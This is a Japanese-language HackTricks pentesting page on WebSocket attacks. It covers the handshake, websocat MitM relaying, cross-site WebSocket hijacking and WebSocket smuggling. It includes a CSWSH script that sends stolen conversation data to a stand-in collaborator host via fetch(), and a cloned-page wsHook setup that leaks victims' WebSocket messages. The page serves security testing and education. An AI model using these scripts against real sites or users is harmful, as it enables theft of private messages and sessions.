hacktricks/pentesting-web/websocket-attacks.md

178 lines
14 KiB
Markdown
Raw Normal View History

# WebSocket Attacks
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
## WebSocketsとは
WebSocket接続は初期の**HTTP**ハンドシェイクを介して確立され、**長寿命**であり、トランザクショナルシステムの必要なくいつでも双方向メッセージングを可能にするよう設計されています。これにより、**低遅延またはサーバー起点の通信**が必要なアプリケーションにとって特に有利であり、ライブ金融データストリームなどが該当します。
### WebSocket接続の確立
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアントサイドのJavaScriptによって開始されます
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
`wss`プロトコルは、**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。
接続確立中に、ブラウザとサーバー間でHTTP経由でハンドシェイクが行われます。ハンドシェイクプロセスには、ブラウザがリクエストを送信し、サーバーが応答するという手順が含まれます。以下はその例です
ブラウザがハンドシェイクリクエストを送信します:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
サーバーのハンドシェイク応答:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
WebSocketの接続は一度確立されると、両方向でメッセージのやり取りが可能なまま開かれたままとなります。
**WebSocketハンドシェイクの主なポイント:**
- `Connection`および`Upgrade`ヘッダーは、WebSocketハンドシェイクの開始を示します。
- `Sec-WebSocket-Version`ヘッダーは、通常`13`である希望するWebSocketプロトコルバージョンを示します。
- `Sec-WebSocket-Key`ヘッダーには、Base64でエンコードされたランダムな値が送信されます。これにより、各ハンドシェイクが一意であることが保証され、キャッシュプロキシに関連する問題を防ぐのに役立ちます。この値は認証用ではなく、応答が誤って構成されたサーバーまたはキャッシュによって生成されていないことを確認するためのものです。
- サーバーの応答に含まれる`Sec-WebSocket-Accept`ヘッダーは、`Sec-WebSocket-Key`のハッシュであり、サーバーがWebSocket接続を開く意図を確認します。
これらの機能により、ハンドシェイクプロセスが安全かつ信頼性があり、効率的なリアルタイム通信が実現されます。
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
または、websocatサーバーを作成するには
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
クライアントが現在のローカルネットワークから**HTTP websocket**に接続していることがわかった場合、[ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)を試して、クライアントとサーバーの間でMitM攻撃を実行できます。\
クライアントが接続しようとしているときに、次のように使用できます:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
**ツール**[**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS)**を使用して、websocketsで自動的に**脆弱性**を**発見**、**指紋**を取得し、既知の**脆弱性**を検索できます。
### Websocket Debug tools
* **Burp Suite**は、通常のHTTP通信と同様に、MitM websockets通信をサポートしています。
* [**socketsleuth**](https://github.com/snyk/socketsleuth)**Burp Suite拡張機能**は、**履歴**を取得し、**インターセプトルール**を設定し、**一致および置換**ルールを使用し、**Intruder**および**AutoRepeater**を使用して、BurpでWebsocket通信をより効果的に管理できます。
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、Node.jsで書かれたこのツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャし、インターセプトし、カスタムメッセージを送信し、表示するためのユーザーインターフェースを提供します。
* [**wsrepl**](https://github.com/doyensec/wsrepl)は、特にペネトレーションテスト向けに設計された**対話型websocket REPL**です。**着信websocketメッセージを観察し、新しいメッセージを送信**するためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを提供します。&#x20;
* [**https://websocketking.com/**](https://websocketking.com/)は、**websockets**を使用して他のWebと**通信**するための**Web**です。
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket)は、他の種類の通信/プロトコルと共に、**websockets**を使用して他のWebと**通信**するための**Web**を提供します。
## Websocket Lab
[**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course)には、websocketsを使用してWebを起動するコードがあり、[**この投稿**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/)で説明が見つかります。
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**、または**cross-origin WebSocket hijacking**は、WebSocketハンドシェイクに影響を与える**[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)**の特定のケースとして識別されます。この脆弱性は、WebSocketハンドシェイクが**HTTPクッキー**だけで認証する場合に発生し、**CSRFトークン**や同様のセキュリティ対策がない場合に発生します。
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるWebページ**をホストすることでこれを悪用できます。その結果、この接続は、セッションハンドリングメカニズムのCSRF保護の欠如を悪用し、被害者のセッションの一部として扱われます。
### Simple Attack
**websocket**接続を**確立**する際に**cookie**が**サーバーに送信**されることに注意してください。**サーバー**は、**送信されたcookieに基づいて各**特定**の**ユーザー**を**websocketセッションに関連付ける**ためにそれを使用しているかもしれません。
その後、**例えば**、**websocketサーバー**がユーザーの会話の**履歴を送り返す**場合、msgに"**READY"**が送信されると、**単純なXSS**が接続を確立し(**cookie**は**自動的に**送信されて被害者ユーザーを認証するため)、"**READY**"を**送信**することで、会話の**履歴を取得**できるようになります。
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### クロスオリジン + 異なるサブドメインのCookie
このブログ記事[https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)では、攻撃者が**Webソケット通信が行われているドメインのサブドメイン**で**任意のJavaScriptを実行**することに成功しました。**サブドメイン**であったため、**Cookie**が**送信**され、**WebsocketがOriginを適切にチェックしなかった**ため、それと通信して**トークンを盗む**ことが可能でした。
### ユーザーからデータを盗む
なりすましを行いたいWebアプリケーションたとえば.htmlファイルをコピーし、Websocket通信が行われているスクリプト内にこのコードを追加します
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
今、[https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) から `wsHook.js` ファイルをダウンロードし、**webファイルが保存されているフォルダに保存**してください。\
Webアプリケーションを公開し、ユーザーがそれに接続するようにすると、WebSocketを介して送受信されたメッセージを盗むことができます
```javascript
sudo python3 -m http.server 80
```
## レースコンディション
WebSocketsにおけるレースコンディションも存在します。[詳細を知るにはこちらの情報をチェックしてください](race-condition.md#rc-in-websockets)。
## その他の脆弱性
Webソケットは**サーバーサイドとクライアントサイドにデータを送信するメカニズム**であるため、サーバーとクライアントが情報を処理する方法によっては、**Webソケットを使用してXSS、SQLi、または他の一般的なWeb脆弱性を悪用することができます。**
## **WebSocket Smuggling**
この脆弱性により、**逆プロキシの制限をバイパス**して、逆プロキシが**WebSocket通信が確立されたと信じるように**することができます(実際にはそうではない場合もあります)。これにより、攻撃者は**隠されたエンドポイントにアクセス**することができます。詳細については、以下のページをご覧ください:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## 参考文献
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details>